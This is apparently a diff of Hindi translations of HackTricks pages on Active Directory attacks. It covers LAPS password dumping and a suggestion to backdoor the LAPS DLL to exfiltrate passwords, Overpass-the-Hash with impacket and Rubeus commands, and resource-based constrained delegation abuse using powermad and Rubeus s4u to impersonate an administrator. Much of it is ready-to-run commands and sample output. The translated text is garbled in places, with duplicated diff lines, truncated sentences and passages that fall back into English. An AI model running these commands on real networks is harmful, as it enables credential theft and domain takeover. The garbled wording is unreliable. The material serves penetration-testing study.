एक **खाता**ो एक कंप्यूटर को डोमेन में शामिल करता है, उस होस्ट पर `सभी विस्तारित अधिकार` प्राप्त करता है, और यह अधिकार **खाते** को **पासवर्ड पढ़ने** की क्षमता देता है। सूचीकरण एक उपयोगकर्ता खाता दिखा सकता है जो होस्ट पर लेप्स पासवर्ड पढ़ सकता है। यह हमें मदद कर सकता है **निश्चित एडी उपयोगकर्ताओं**ी ओर ध्यान देने में।
इनमें से एक है **`ExtendedRights`** का **समाचयन करना** **लैप्स सक्षम सभी कंप्यूटरों** के लिए। यह दिखाएगा **समूह** विशेष रूप से **लैप्स पासवर्ड पढ़ने के लिए सम्मन्वित**, जो अक्सर सुरक्षित समूहों में उपयोगकर्ता होते हैं।
एक **खाता**िसने एक कंप्यूटर को एक डोमेन से जोड़ दिया है, उस होस्ट पर `सभी विस्तारित अधिकार` प्राप्त करता है, और यह अधिकार **खाते** को **पासवर्ड पढ़ने** की क्षमता देता है। सूचीकरण एक उपयोगकर्ता खाता दिखा सकता है जो एक होस्ट पर लैप्स पासवर्ड पढ़ सकता है। यह हमें मदद कर सकता है **निश्चित एडी उपयोगकर्ताओं**ो लैप्स पासवर्ड पढ़ने के लिए लक्षित करने में।
```powershell
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -91,7 +98,7 @@ ComputerName Password Expiration
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **Crackmapexec के साथ LAPS पासवर्ड डंपिंग**
यदि powershell तक पहुंच नहीं है, तो आप इस विशेषाधिकार का दुरुपयोग LDAP के माध्यम से दूरस्थ रूप से कर सकते हैं।
यदि powershell तक पहुंच नहीं है, तो आप LDAP के माध्यम से दूरस्थ रूप से इस विशेषाधिकार का दुरुपयोग कर सकते हैं।
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
@ -109,25 +116,29 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
{% hint style="warning" %}
अगर **एडमिन** **`Reset-AdmPwdPassword`** cmdlet का उपयोग करता है; या अगर LAPS GPO में **जरूरत से अधिक समय के लिए पासवर्ड समाप्ति की अनुमति नहीं है** तो पासवर्ड फिर से रीसेट हो जाएगा।
अगर **एडमिन** **`Reset-AdmPwdPassword`** cmdlet का उपयोग करता है; या अगर LAPS GPO में **जरूरी नीि से अधिक समय क पासवर्ड समाप्ति की अनुमति नहीं है** तो पासवर्ड फिर से रीसेट हो जाएगा।
{% endhint %}
### बैकडोर
LAPS के मूल स्रोत कोड [यहाँ](https://github.com/GreyCorbel/admpwd) पाया जा सकता है, इसलिए कोड में एक बैकडोर डालना संभव है (उदाहरण के लिए `Main/AdmPwd.PS/Main.cs` में `Get-AdmPwdPassword` विधि के अंदर) जो किसी प्रकार से **नए पासवर्डों को बाहर ले जाएगा या कहीं स्टोर करेगा**।
LAPS के मूल स्रोत कोड [यहाँ](https://github.com/GreyCorbel/admpwd) पाया जा सकता है, इसलिए कोड में एक बैकडोर डालना संभव है (उदाहरण के लिए `Main/AdmPwd.PS/Main.cs` में `Get-AdmPwdPassword` विधि के अंदर) जो किसी प्रकार से **नए पासवर्ड को बाहर ले जाए या कहीं स्टोर करे**।
फिर, नया `AdmPwd.PS.dll` कंपाइल करें और इसे मशीन में `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` में अपलोड करें (और संशोधन समय बदलें)।
फिर, नया `AdmPwd.PS.dll`ो कंपाइल करें और इसे मशीन में `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` में अपलोड करें (और संशोधन समय बदलें)।
## संदर्भ
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ जीरो से हीरो तक AWS हैकिंग सीखें</summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप PEASS के **नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें
* प्राप्त करें [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**

View file

@ -4,19 +4,24 @@
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो करें**.
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**।
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**.
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Overpass The Hash/Pass The Key (PTK)
**Overpass The Hash/Pass The Key (PTK)** हमला उन environments के लिए डिज़ाइन किया गया है जहाँ पारंपरिक NTLM प्रोटोकॉल पर प्रतिबंध है, और Kerberos प्रमाणीकरण प्राथमिकता देता है। यह हमला एक उपयोगकर्ता के NTLM हैश या AES कुंजियों का उपयोग करता है ताकि Kerberos टिकट प्राप्त किया जा सके, जिससे नेटवर्क में संसाधनों तक के अनधिकृत पहुंच सके।
**Overpass The Hash/Pass The Key (PTK)** हमला उन वातावरणों के लिए डिज़ाइन किया गया है जहाँ पारंपरिक NTLM प्रोटोकॉल पर प्रतिबंध है, और Kerberos प्रमाणीकरण प्राथमिकता देता है। यह हमला एक उपयोगकर्ता के NTLM हैश या AES कुंजियों का उपयोग करता है ताकि Kerberos टिकट प्राप्त किया जा सके, जिससे नेटवर्क के भीतर संसाधनों तक अनधिकृत पहुंच मिल सके।
इस हमले को क्रियान्वित करने के लिए, पहला कदम लक्षित उपयोगकर्ता के खाते का NTLM हैश या पासवर्ड प्राप्त करना है। इस जानकारी को सुरक्षित करने के बाद, खाते के लिए टिकट ग्रांटिंग टिकट (TGT) प्राप्त किया जा सकता है, जिससे हमलावर को उन सेवाओं या मशीनों तक पहुंच मिल सकती है जिसकी अनुमति उपयोगकर्ता को है।
इस हमल को क्रियान्वित करने के लिए, पहला कदम लक्षित उपयोगकर्ता के खाते का NTLM हैश या पासवर्ड प्राप्त करना है। इस जानकारी को सुरक्षित करने के बाद, खाते के लिए टिकट ग्रांटिंग टिकट (TGT) प्राप्त किया जा सकता है, जिससे हमलावता सेवाओं या मशीनों तक पहुंच मिल सकती है जिसकी अनुमति उपयोगकर्ता को है।
इस प्रक्रिया को निम्नलिखित कमांडों से प्रारंभ किया जा सकता है:
```bash
@ -24,16 +29,16 @@ python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
```
न परिस्थितियों के लिए जिनमें AES256 की आवश्यकता हो, `-aesKey [AES key]` विकल्प का उपयोग किया जा सकता है। इसके अतिरिक्त, प्राप्त टिकट का उपयोग कई उपकरणों के साथ किया जा सकता है, जैसे smbexec.py या wmiexec.py, हमले के दायरे को विस्तारित करते हुए।
दाहरणों के लिए AES256 की आवश्यकता होने पर, `-aesKey [AES key]` विकल्प का उपयोग किया जा सकता है। इसके अतिरिक्त, प्राप्त टिकट का उपयोग कई उपकरणों के साथ किया जा सकता है, जैसे smbexec.py या wmiexec.py, हमले के दायरे को विस्तारित करते हुए।
_पाया गया समस्याएं_ जैसे _PyAsn1Error_ या _KDC cannot find the name_ आम तौर पर Impacket पुस्तकालय को अपडेट करके या IP पते की बजाय होस्टनाम का उपयोग करके हल किए जा सकते हैं, जिससे केरबेरोस KDC के साथ संगति सुनिश्चित हो।
_पाया गया समस्याएं_ जैसे _PyAsn1Error_ या _KDC नाम नहीं मिला_ आम तौर पर Impacket पुस्तकालय को अपडेट करके या IP पते की बजाय होस्टनाम का उपयोग करके हल होती है, जिससे केरबेरोस KDC के साथ संगति सुनिश्चित हो।
Rubeus.exe का उपयोग करके एक वैकल्पिक कमांड क्रम इस तकनीक के एक अन्य पहलू को दर्शाता है:
Rubeus.exe का उपयोग करके एक वैकल्पिक कमांड क्रम इस तकनीक के एक और पहलू को दर्शाता है:
```bash
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```
यह विधि **पास द हैश** दृष्टिकोण के साथ मिलती है, जिसमें ध्यान केंद्रित करना है और प्रमाणीकरण के उद्देश्यों के लिए प्रत्यक्ष रूप से टिकट का उपयोग करना। महत्वपूर्ण है कि एक टीजीटी अनुरोध की प्रारंभिकता घटक `4768: एक केरबेरोस प्रमाणीकरण टिकट (टीजीटी) का अनुरोध किया गया था` को सक्रिय करती है, जिससे डिफ़ॉल्ट रूप से RC4-HMAC का उपयोग किया जाता है, हालांकि आधुनिक Windows सिस्टम्स AES256 को अधिक पसंद करते हैं।
यह विधि **पास द की** दृष्टिकोण को परामर्श और प्रमाणीकरण के उद्देश्यों के लिए सीधे टिकट का उपयोग करने पर ध्यन केंद्रित करती हैयह महत्वपूर्ण है कि एक टीजीटी अनुरोध की प्रारंभिकता घटक `4768: एक केरबेरोस प्रमाणीकरण टिकट (TGT) का अनुरोध किया गया था`, जिससे डिफ़ॉल्ट रूप से RC4-HMAC का उपयोग किया जाता है, हालांकि आधुनिक Windows सिस्टम AES256 को अधिक पसंद करते हैं।
संचालन सुरक्षा को अनुरूप बनाने और AES256 का उपयोग करने के लिए निम्नलिखित कमांड लागू किया जा सकता है:
```bash
@ -43,14 +48,18 @@ Rubeus.exe का उपयोग करके एक वैकल्पिक
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**।
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाच करें!
* खोजें [**द पीएएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक पीएएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**।
</details>

View file

@ -1,30 +1,42 @@
# संसाधन-आधारित सीमित अधिकार देना
# संसाधन-आधारित सीमित अधिकार
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में **PRs सबमिट** करके अने हैकिंग ट्िक्स साझा करें
* **हैकिंग ट्रिक्स साझा करें और PR जमा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) **और** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github repos पर।**
</details>
## संसाधन-आधारित सीमित अधिकार देना की मूल बातें
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
यह मूल [सीमित अधिकार देना](constrained-delegation.md) के बराबर है लेकिन **इसके बजाय** किसी **वस्तु** को **किसी सेवा के खिलाफ किसी उपयोगकर्ता का अनुकरण करने की अनुमति देने की बजाय** संसाधन-आधारित सीमित अधिकार देन **वस्तु में सेवा के खिलाफ क
{% embed url="https://websec.nl/" %}
## संकेतित संकेतन की मूल बातें
यह मूल [संकेतित संकेतन](constrained-delegation.md) के बराबर है लेकिन **बजाय** किसी **वस्तु** को **किसी सेवा के खिलाफ किसी उपयोगकर्ता का अनुकरण करने की अनुमति देने के**. संसाधित संकेतन **वस्तु में उस उपयोगकर्ता का नाम रखता है जो उसके खिलाफ किसी भी अन्य उपयोगकर्ता का अनुकरण कर सकता है**.
इस मामले में, संकेतित वस्तु के पास _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ नामक एक विशेषता होगी जिसमें उस उपयोगकर्ता का नाम होगा जो उसके खिलाफ किसी भी अन्य उपयोगकर्ता का अनुकरण कर सकता है।
### नए अवधारणाएँ
Constrained Delegation से एक महत्वपूर्ण अंतर यह है कि किसी भी उपयोगकर्ता के पास **एक मशीन खाते पर लेखन अनुमतियाँ** होने पर (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) वह _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ को सेट कर सकता है (दूसरे प्रकार की Delegation में आपको डोमेन व्यवस्थापक विशेषाधिकार चाहिए थे।)
### हमला संरचना
> यदि आपके पास **किसी कंप्यूटर खाते पर लेखन समकक्ष अनुमतियाँ** हैं तो आप उस मशीन में **विशेषाधिकार** प्राप्त कर सकते हैं।
```powershell
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
```
## हमला
### Creating a Computer Object
### कंप्यूटर ऑब्जेक्ट बनाना
आप [powermad](https://github.com/Kevin-Robertson/Powermad) का उपयोग करके डोमेन के अंदर एक कंप्यूटर ऑब्ज
You can create a computer object inside the domain using [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
```powershell
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
@ -54,29 +66,29 @@ msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
```
### पूर्ण S4U हमला करना
### एक पूर्ण S4U हमला करना
सबसे पहले, हमने नए कंप्यूटर ऑब्ज
First of all, we created the new Computer object with the password `123456`, so we need the hash of that password:
```bash
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
```
यह उस खाते के लिए RC4 और AES हैश प्रिंट करेगा।\
यह खाते के लिए RC4 और AES हैश प्रिंट करेगा।\
अब, हमला किया जा सकता है:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
```
आप Rubeus के `/altservice` पैरामीटर का उपयोग करके एक बार पूछकर अधिक टिकट उत्पन्न कर सकते हैं:
आप एक बार पूछकर अधिक टिकट उत्पन्न कर सकते हैं, Rubeus के `/altservice` पैरामीटर का उपयोग करके:
```bash
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
```
{% hint style="danger" %}
ध्यान दें कि उपयोगकर्ताओं के पास "**डेलीगेट नहीं किया जा सकता**" नामक एक विशेषता होती है। यदि किसी उपयोगकर्ता की इस विशेषता को True माना गया है, तो आप उसकी अनुकरण नहीं कर पाएंगे। यह गुण ब्लडहाउंड के अंदर देखा जा सकता है।
ध्यान दें कि उपयोगकर्ताओं के पास "**डेलीगेट नहीं किया जा सकता**" नामक एक गुण होता है। यदि किसी उपयोगकर्ता के पास यह गुण सही है, तो आप उसकी अनुकरण नहीं कर सकेंगे। इस गुण को bloodhound के अंदर देखा जा सकता है।
{% endhint %}
### पहुंचना
आखिरी कमांड लाइन **पूर्ण S4U हमला करेगी और व्यवस्थापक से पीड़ित होस्ट में TGS डालेगी**।\
इस उदाहरण में व्यवस्थापक से **CIFS** सेवा के लिए एक TGS का अनुरोध किया गया था, इसलिए आपको **C$** तक पहुंचने की स्वतंत्रता होगी:
आखिरी कमांड लाइन **पूर्ण S4U हमला करेगी और व्यवहार करने वाले होस्ट में से TGS** को व्यवस्थापक से शिकार होस्ट में **मेमोरी** में डाल देगी।\
इस उदाहरण में व्यवस्थापक से **CIFS** सेवा के लिए एक TGS का अनुरोध किया गया था, इसलिए आपको **C$** तक पहुंचने की स्वीकृति होगी:
```bash
ls \\victim.domain.local\C$
```
@ -86,12 +98,12 @@ ls \\victim.domain.local\C$
## कर्बेरोस त्रुटियाँ
* **`KDC_ERR_ETYPE_NOTSUPP`**: इसका मतलब है कि कर्बेरोस को डीईएस या आरसी 4 का उपयोग नहीं करने के लिए कॉन्फ़िगर किया गया है और आप केवल आरसी 4 हैश प्रदान कर रहे हैं। Rubeus को कम से कम AES256 हैश प्रदान करें (या बस आरसी 4, AES128 और AES256 हैश प्रदान करें)। उदाहरण: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
* **`KRB_AP_ERR_SKEW`**: इसका मतलब है कि वर्तमान कंप्यूटर का समय डीसी के समय से अलग है और कर्बेरोस सही ढंग से काम नहीं कर रहा है।
* **`preauth_failed`**: इसका मतलब है कि दिए गए उपयोगकर्ता नाम + हैश लॉगिन करने के लिए काम नहीं कर रहे हैं। आपने शायद जब हैश जेनरेट कर रहे थे तो उपयोगकर्ता नाम में "$" डालना भूल गए हो सकता है (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
* **`KDC_ERR_ETYPE_NOTSUPP`**: यह इसका मतलब है कि कर्बेरोस को डीईएस या आरसी 4 का उपयोग नहीं करने के लिए कॉन्फ़िगर किया गया है और आप केवल आरसी 4 हैश प्रदान कर रहे हैं। Rubeus को कम से कम AES256 हैश प्रदान करें (या बस आरसी 4, AES128 और AES256 हैश प्रदान करें)। उदाहरण: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
* **`KRB_AP_ERR_SKEW`**: यह इसका मतलब है कि वर्तमान कंप्यूटर का समय डीसी के समय से अलग है और कर्बेरोस सही ढंग से काम नहीं कर रहा है।
* **`preauth_failed`**: यह इसका मतलब है कि दिए गए उपयोगकर्ता नाम + हैश लॉगिन करने के लिए काम नहीं कर रहे हैं। आपने शायद जब हैश जेनरेट करते समय उपयोगकर्ता नाम में "$" डालना भूल गए हो सकता है (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
* **`KDC_ERR_BADOPTION`**: इसका मतलब हो सकता है:
* आप जिसे अनुकरण करने की कोशिश कर रहे हैं उस उपयोगकर्ता को वांछित सेवा तक पहुंचने की अनुमति नहीं है (क्योंकि आप उसे अनुकरण नहीं कर सकते या क्योंकि उसके पास पर्याप्त विशेषाधिकार नहीं है)
* पूछी गई सेवा मौजूद नहीं है (यदि आप विनर्म के लिए टिकट के लिए पूछते हैं लेकिन विनर्म नहीं चल रहा है)
* आप जिसे अनुकरण करने की कोशिश कर रहे हैं, वह वांछित सेवा तक पहुंच नहीं सकता (क्योंकि आप उसे अनुकरण नहीं कर सकते या क्योंकि उसमें पर्याप्त विशेषाधिकार नहीं है)
* पूछी गई सेवा मौजूद नहीं है (यदि आप विनर्म के लिए टिकट मांगते हैं लेकिन विनर्म नहीं चल रहा है)
* बनाया गया fakecomputer वंलरेबल सर्वर पर अपनी विशेषाधिकारों को खो चुका है और आपको उन्हें वापस देने की आवश्यकता है।
## संदर्भ
@ -101,16 +113,20 @@ ls \\victim.domain.local\C$
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा **PRs** सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos मे
